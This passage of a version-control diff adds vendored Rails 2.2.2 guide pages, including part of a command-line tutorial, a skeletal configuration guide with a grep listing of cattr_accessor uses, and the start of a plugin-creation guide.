+<div class="para"><p>Let's create a simple Rails application to step through each of these commands in context.</p></div>
+<h3 id="_rails">1.1. rails</h3>
+<div class="para"><p>The first thing we'll want to do is create a new Rails application by running the <tt>rails</tt> command after installing Rails.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">You know you need the rails gem installed by typing <tt>gem install rails</tt> first, right? Okay, okay, just making sure.</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rails commandsapp
+
+     create
+     create  app/controllers
+     create  app/helpers
+     create  app/models
+     <span style="color: #990000">...</span>
+     <span style="color: #990000">...</span>
+     create  log/production<span style="color: #990000">.</span>log
+     create  log/development<span style="color: #990000">.</span>log
+     create  log/test<span style="color: #990000">.</span>log
+</tt></pre></div></div>
+<div class="para"><p>Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">This output will seem very familiar when we get to the <tt>generate</tt> command. Creepy foreshadowing!</td>
+</tr></table>
+</div>
+<h3 id="_server">1.2. server</h3>
+<div class="para"><p>Let's try it! The <tt>server</tt> command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]</td>
+</tr></table>
+</div>
+<div class="para"><p>Here we'll flex our <tt>server</tt> command, which without any prodding of any kind will run our new shiny Rails app:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ cd commandsapp
+$ <span style="color: #990000">.</span>/script/server
+<span style="color: #990000">=&gt;</span> Booting WEBrick<span style="color: #990000">...</span>
+<span style="color: #990000">=&gt;</span> Rails <span style="color: #993399">2.2</span><span style="color: #990000">.</span><span style="color: #993399">0</span> application started on http<span style="color: #990000">://</span><span style="color: #993399">0.0</span><span style="color: #990000">.</span><span style="color: #993399">0.0</span><span style="color: #990000">:</span><span style="color: #993399">3000</span>
+<span style="color: #990000">=&gt;</span> Ctrl-C to shutdown server<span style="color: #990000">;</span> call with --help <span style="font-weight: bold"><span style="color: #0000FF">for</span></span> options
+<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO  WEBrick <span style="color: #993399">1.3</span><span style="color: #990000">.</span><span style="color: #993399">1</span>
+<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO  ruby <span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">5</span> <span style="color: #990000">(</span><span style="color: #993399">2006</span>-<span style="color: #993399">12</span>-<span style="color: #993399">04</span><span style="color: #990000">)</span> <span style="color: #990000">[</span>i486-linux<span style="color: #990000">]</span>
+<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO  WEBrick<span style="color: #990000">::</span>HTTPServer<span style="font-style: italic"><span style="color: #9A1900">#start: pid=18994 port=3000</span></span>
+</tt></pre></div></div>
+<div class="para"><p>WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to <a href="http://localhost:3000">http://localhost:3000</a>. I'll wait.</p></div>
+<div class="para"><p>See? Cool! It doesn't do much yet, but we'll change that.</p></div>
+<h3 id="_generate">1.3. generate</h3>
+<div class="para"><p>The <tt>generate</tt> command uses templates to create a whole lot of things. You can always find out what's available by running <tt>generate</tt> by itself. Let's do that:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ <span style="color: #990000">.</span>/script/generate
+Usage<span style="color: #990000">:</span> <span style="color: #990000">.</span>/script/generate generator <span style="color: #990000">[</span>options<span style="color: #990000">]</span> <span style="color: #990000">[</span>args<span style="color: #990000">]</span>
+
+<span style="color: #990000">...</span>
+<span style="color: #990000">...</span>
+
+Installed Generators
+  Builtin<span style="color: #990000">:</span> controller<span style="color: #990000">,</span> integration_test<span style="color: #990000">,</span> mailer<span style="color: #990000">,</span> migration<span style="color: #990000">,</span> model<span style="color: #990000">,</span> observer<span style="color: #990000">,</span> performance_test<span style="color: #990000">,</span> plugin<span style="color: #990000">,</span> resource<span style="color: #990000">,</span> scaffold<span style="color: #990000">,</span> session_migration
+
+<span style="color: #990000">...</span>
+<span style="color: #990000">...</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!</td>
+</tr></table>
+</div>
+<div class="para"><p>Using generators will save you a large amount of time by writing <strong>boilerplate code</strong> for you &#8212; necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?</p></div>
+<div class="para"><p>Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like <tt>rails</tt> or <tt>./script/generate</tt>). For others, you can try adding <tt>&#8212;help</tt> or <tt>-h</tt> to the end, as in <tt>./script/server &#8212;help</tt>.</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ <span style="color: #990000">.</span>/script/generate controller
+Usage<span style="color: #990000">:</span> <span style="color: #990000">.</span>/script/generate controller ControllerName <span style="color: #990000">[</span>options<span style="color: #990000">]</span>
+
+<span style="color: #990000">...</span>
+<span style="color: #990000">...</span>
+
+Example<span style="color: #990000">:</span>
+    `<span style="color: #990000">.</span>/script/generate controller CreditCard open debit credit close`
+
+    Credit card controller with URLs like /credit_card/debit<span style="color: #990000">.</span>
+        Controller<span style="color: #990000">:</span> app/controllers/credit_card_controller<span style="color: #990000">.</span>rb
+        Views<span style="color: #990000">:</span>      app/views/credit_card/debit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb <span style="color: #990000">[...]</span>
+        Helper<span style="color: #990000">:</span>     app/helpers/credit_card_helper<span style="color: #990000">.</span>rb
+        Test<span style="color: #990000">:</span>       test/functional/credit_card_controller_test<span style="color: #990000">.</span>rb
+
+Modules Example<span style="color: #990000">:</span>
+    `<span style="color: #990000">.</span>/script/generate controller <span style="color: #FF0000">'admin/credit_card'</span> <span style="font-weight: bold"><span style="color: #0000FF">suspend</span></span> late_fee`
+
+    Credit card admin controller with URLs /admin/credit_card/suspend<span style="color: #990000">.</span>
+        Controller<span style="color: #990000">:</span> app/controllers/admin/credit_card_controller<span style="color: #990000">.</span>rb
+        Views<span style="color: #990000">:</span>      app/views/admin/credit_card/debit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb <span style="color: #990000">[...]</span>
+        Helper<span style="color: #990000">:</span>     app/helpers/admin/credit_card_helper<span style="color: #990000">.</span>rb
+        Test<span style="color: #990000">:</span>       test/functional/admin/credit_card_controller_test<span style="color: #990000">.</span>rb
+</tt></pre></div></div>
+<div class="para"><p>Ah, the controller generator is expecting parameters in the form of <tt>generate controller ControllerName action1 action2</tt>. Let's make a <tt>Greetings</tt> controller with an action of <strong>hello</strong>, which will say something nice to us.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ <span style="color: #990000">.</span>/script/generate controller Greeting hello
+     exists  app/controllers<span style="color: #990000">/</span>
+     exists  app/helpers<span style="color: #990000">/</span>
+     create  app/views/greeting
+     exists  test/functional<span style="color: #990000">/</span>
+     create  app/controllers/greetings_controller<span style="color: #990000">.</span>rb
+     create  test/functional/greetings_controller_test<span style="color: #990000">.</span>rb
+     create  app/helpers/greetings_helper<span style="color: #990000">.</span>rb
+     create  app/views/greetings/hello<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
+</tt></pre></div></div>
+<div class="para"><p>Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command!</p></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/configuring.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/configuring.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/configuring.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,438 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Configuring Rails Applications</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_locations_for_initialization_code">Locations for Initialization Code</a>
+					</li>
+					<li>
+					<a href="#_using_a_preinitializer">Using a Preinitializer</a>
+					</li>
+					<li>
+					<a href="#_configuring_rails_components">Configuring Rails Components</a>
+						<ul>
+						
+							<li><a href="#_configuring_active_record">Configuring Active Record</a></li>
+						
+							<li><a href="#_configuring_action_controller">Configuring Action Controller</a></li>
+						
+							<li><a href="#_configuring_action_view">Configuring Action View</a></li>
+						
+							<li><a href="#_configuring_action_mailer">Configuring Action Mailer</a></li>
+						
+							<li><a href="#_configuring_active_resource">Configuring Active Resource</a></li>
+						
+							<li><a href="#_configuring_active_support">Configuring Active Support</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_using_initializers">Using Initializers</a>
+					</li>
+					<li>
+					<a href="#_using_an_after_initializer">Using an After-Initializer</a>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Configuring Rails Applications</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Adjust the behavior of your Rails applications
+</p>
+</li>
+<li>
+<p>
+Add additional code to be run at application start time
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_locations_for_initialization_code">1. Locations for Initialization Code</h2>
+<div class="sectionbody">
+<div class="para"><p>preinitializers
+environment.rb first
+env-specific files
+initializers (load_application_initializers)
+after-initializer</p></div>
+</div>
+<h2 id="_using_a_preinitializer">2. Using a Preinitializer</h2>
+<div class="sectionbody">
+</div>
+<h2 id="_configuring_rails_components">3. Configuring Rails Components</h2>
+<div class="sectionbody">
+<h3 id="_configuring_active_record">3.1. Configuring Active Record</h3>
+<h3 id="_configuring_action_controller">3.2. Configuring Action Controller</h3>
+<h3 id="_configuring_action_view">3.3. Configuring Action View</h3>
+<h3 id="_configuring_action_mailer">3.4. Configuring Action Mailer</h3>
+<h3 id="_configuring_active_resource">3.5. Configuring Active Resource</h3>
+<h3 id="_configuring_active_support">3.6. Configuring Active Support</h3>
+</div>
+<h2 id="_using_initializers">4. Using Initializers</h2>
+<div class="sectionbody">
+<div class="literalblock">
+<div class="content">
+<pre><tt>organization, controlling load order</tt></pre>
+</div></div>
+</div>
+<h2 id="_using_an_after_initializer">5. Using an After-Initializer</h2>
+<div class="sectionbody">
+</div>
+<h2 id="_changelog">6. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+November 5, 2008: Rough outline by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>actionmailer/lib/action_mailer/base.rb
+257:    cattr_accessor :logger
+267:    cattr_accessor :smtp_settings
+273:    cattr_accessor :sendmail_settings
+276:    cattr_accessor :raise_delivery_errors
+282:    cattr_accessor :perform_deliveries
+285:    cattr_accessor :deliveries
+288:    cattr_accessor :default_charset
+291:    cattr_accessor :default_content_type
+294:    cattr_accessor :default_mime_version
+297:    cattr_accessor :default_implicit_parts_order
+299:    cattr_reader :protected_instance_variables</p></div>
+<div class="para"><p>actionmailer/Rakefile
+36:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
+<div class="para"><p>actionpack/lib/action_controller/base.rb
+263:    cattr_reader :protected_instance_variables
+273:    cattr_accessor :asset_host
+279:    cattr_accessor :consider_all_requests_local
+285:    cattr_accessor :allow_concurrency
+317:    cattr_accessor :param_parsers
+321:    cattr_accessor :default_charset
+325:    cattr_accessor :logger
+329:    cattr_accessor :resource_action_separator
+333:    cattr_accessor :resources_path_names
+337:    cattr_accessor :request_forgery_protection_token
+341:    cattr_accessor :optimise_named_routes
+351:    cattr_accessor :use_accept_header
+361:    cattr_accessor :relative_url_root</p></div>
+<div class="para"><p>actionpack/lib/action_controller/caching/pages.rb
+55:          cattr_accessor :page_cache_directory
+58:          cattr_accessor :page_cache_extension</p></div>
+<div class="para"><p>actionpack/lib/action_controller/caching.rb
+37:        cattr_reader :cache_store
+48:        cattr_accessor :perform_caching</p></div>
+<div class="para"><p>actionpack/lib/action_controller/dispatcher.rb
+98:    cattr_accessor :error_file_path</p></div>
+<div class="para"><p>actionpack/lib/action_controller/mime_type.rb
+24:    cattr_reader :html_types, :unverifiable_types</p></div>
+<div class="para"><p>actionpack/lib/action_controller/rescue.rb
+36:      base.cattr_accessor :rescue_responses
+40:      base.cattr_accessor :rescue_templates</p></div>
+<div class="para"><p>actionpack/lib/action_controller/session/active_record_store.rb
+60:        cattr_accessor :data_column_name
+170:        cattr_accessor :connection
+173:        cattr_accessor :table_name
+177:        cattr_accessor :session_id_column
+181:        cattr_accessor :data_column
+282:      cattr_accessor :session_class</p></div>
+<div class="para"><p>actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+44:    cattr_accessor :included_tags, :instance_writer &#8658; false</p></div>
+<div class="para"><p>actionpack/lib/action_view/base.rb
+189:    cattr_accessor :debug_rjs
+193:    cattr_accessor :warn_cache_misses</p></div>
+<div class="para"><p>actionpack/lib/action_view/helpers/active_record_helper.rb
+7:    cattr_accessor :field_error_proc</p></div>
+<div class="para"><p>actionpack/lib/action_view/helpers/form_helper.rb
+805:    cattr_accessor :default_form_builder</p></div>
+<div class="para"><p>actionpack/lib/action_view/template_handlers/erb.rb
+47:      cattr_accessor :erb_trim_mode</p></div>
+<div class="para"><p>actionpack/test/active_record_unit.rb
+5:  cattr_accessor :able_to_connect
+6:  cattr_accessor :connected</p></div>
+<div class="para"><p>actionpack/test/controller/filters_test.rb
+286:    cattr_accessor :execution_log</p></div>
+<div class="para"><p>actionpack/test/template/form_options_helper_test.rb
+3:TZInfo::Timezone.cattr_reader :loaded_zones</p></div>
+<div class="para"><p>activemodel/lib/active_model/errors.rb
+28:    cattr_accessor :default_error_messages</p></div>
+<div class="para"><p>activemodel/Rakefile
+19:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
+<div class="para"><p>activerecord/lib/active_record/attribute_methods.rb
+9:      base.cattr_accessor :attribute_types_cached_by_default, :instance_writer &#8658; false
+11:      base.cattr_accessor :time_zone_aware_attributes, :instance_writer &#8658; false</p></div>
+<div class="para"><p>activerecord/lib/active_record/base.rb
+394:    cattr_accessor :logger, :instance_writer &#8658; false
+443:    cattr_accessor :configurations, :instance_writer &#8658; false
+450:    cattr_accessor :primary_key_prefix_type, :instance_writer &#8658; false
+456:    cattr_accessor :table_name_prefix, :instance_writer &#8658; false
+461:    cattr_accessor :table_name_suffix, :instance_writer &#8658; false
+467:    cattr_accessor :pluralize_table_names, :instance_writer &#8658; false
+473:    cattr_accessor :colorize_logging, :instance_writer &#8658; false
+478:    cattr_accessor :default_timezone, :instance_writer &#8658; false
+487:    cattr_accessor :schema_format , :instance_writer &#8658; false
+491:    cattr_accessor :timestamped_migrations , :instance_writer &#8658; false</p></div>
+<div class="para"><p>activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
+11:    cattr_accessor :connection_handler, :instance_writer &#8658; false</p></div>
+<div class="para"><p>activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+166:      cattr_accessor :emulate_booleans</p></div>
+<div class="para"><p>activerecord/lib/active_record/fixtures.rb
+498:  cattr_accessor :all_loaded_fixtures</p></div>
+<div class="para"><p>activerecord/lib/active_record/locking/optimistic.rb
+38:        base.cattr_accessor :lock_optimistically, :instance_writer &#8658; false</p></div>
+<div class="para"><p>activerecord/lib/active_record/migration.rb
+259:    cattr_accessor :verbose</p></div>
+<div class="para"><p>activerecord/lib/active_record/schema_dumper.rb
+13:    cattr_accessor :ignore_tables</p></div>
+<div class="para"><p>activerecord/lib/active_record/serializers/json_serializer.rb
+4:      base.cattr_accessor :include_root_in_json, :instance_writer &#8658; false</p></div>
+<div class="para"><p>activerecord/Rakefile
+142:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
+<div class="para"><p>activerecord/test/cases/lifecycle_test.rb
+61:  cattr_reader :last_inherited</p></div>
+<div class="para"><p>activerecord/test/cases/mixin_test.rb
+9:  cattr_accessor :forced_now_time</p></div>
+<div class="para"><p>activeresource/lib/active_resource/base.rb
+206:    cattr_accessor :logger</p></div>
+<div class="para"><p>activeresource/Rakefile
+43:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
+<div class="para"><p>activesupport/lib/active_support/buffered_logger.rb
+17:    cattr_accessor :silencer</p></div>
+<div class="para"><p>activesupport/lib/active_support/cache.rb
+81:      cattr_accessor :logger</p></div>
+<div class="para"><p>activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+5:#    cattr_accessor :hair_colors
+10:  def cattr_reader(*syms)
+29:  def cattr_writer(*syms)
+50:  def cattr_accessor(*syms)
+51:    cattr_reader(*syms)
+52:    cattr_writer(*syms)</p></div>
+<div class="para"><p>activesupport/lib/active_support/core_ext/logger.rb
+34:  cattr_accessor :silencer</p></div>
+<div class="para"><p>activesupport/test/core_ext/class/attribute_accessor_test.rb
+6:      cattr_accessor :foo
+7:      cattr_accessor :bar, :instance_writer &#8658; false</p></div>
+<div class="para"><p>activesupport/test/core_ext/module/synchronization_test.rb
+6:    @target.cattr_accessor :mutex, :instance_writer &#8658; false</p></div>
+<div class="para"><p>railties/doc/guides/html/creating_plugins.html
+786:      cattr_accessor &lt;span style="color: #990000"&gt;:&lt;/span&gt;yaffle_text_field&lt;span style="color: #990000"&gt;,&lt;/span&gt; &lt;span style="color: #990000"&gt;:&lt;/span&gt;yaffle_date_field
+860:      cattr_accessor &lt;span style="color: #990000"&gt;:&lt;/span&gt;yaffle_text_field&lt;span style="color: #990000"&gt;,&lt;/span&gt; &lt;span style="color: #990000"&gt;:&lt;/span&gt;yaffle_date_field</p></div>
+<div class="para"><p>railties/lib/rails_generator/base.rb
+93:      cattr_accessor :logger</p></div>
+<div class="para"><p>railties/Rakefile
+265:  rdoc.options &lt;&lt; <em>&#8212;line-numbers</em> &lt;&lt; <em>&#8212;inline-source</em> &lt;&lt; <em>&#8212;accessor</em> &lt;&lt; <em>cattr_accessor=object</em></p></div>
+<div class="para"><p>railties/test/rails_info_controller_test.rb
+12:    cattr_accessor :local_request</p></div>
+<div class="para"><p>Rakefile
+32:  rdoc.options &lt;&lt; <em>-A cattr_accessor=object</em></p></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/creating_plugins.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/creating_plugins.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/creating_plugins.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1594 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>The Basics of Creating Rails Plugins</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_preparation">Preparation</a>
+						<ul>
+						
+							<li><a href="#_create_the_basic_app">Create the basic app</a></li>
+						
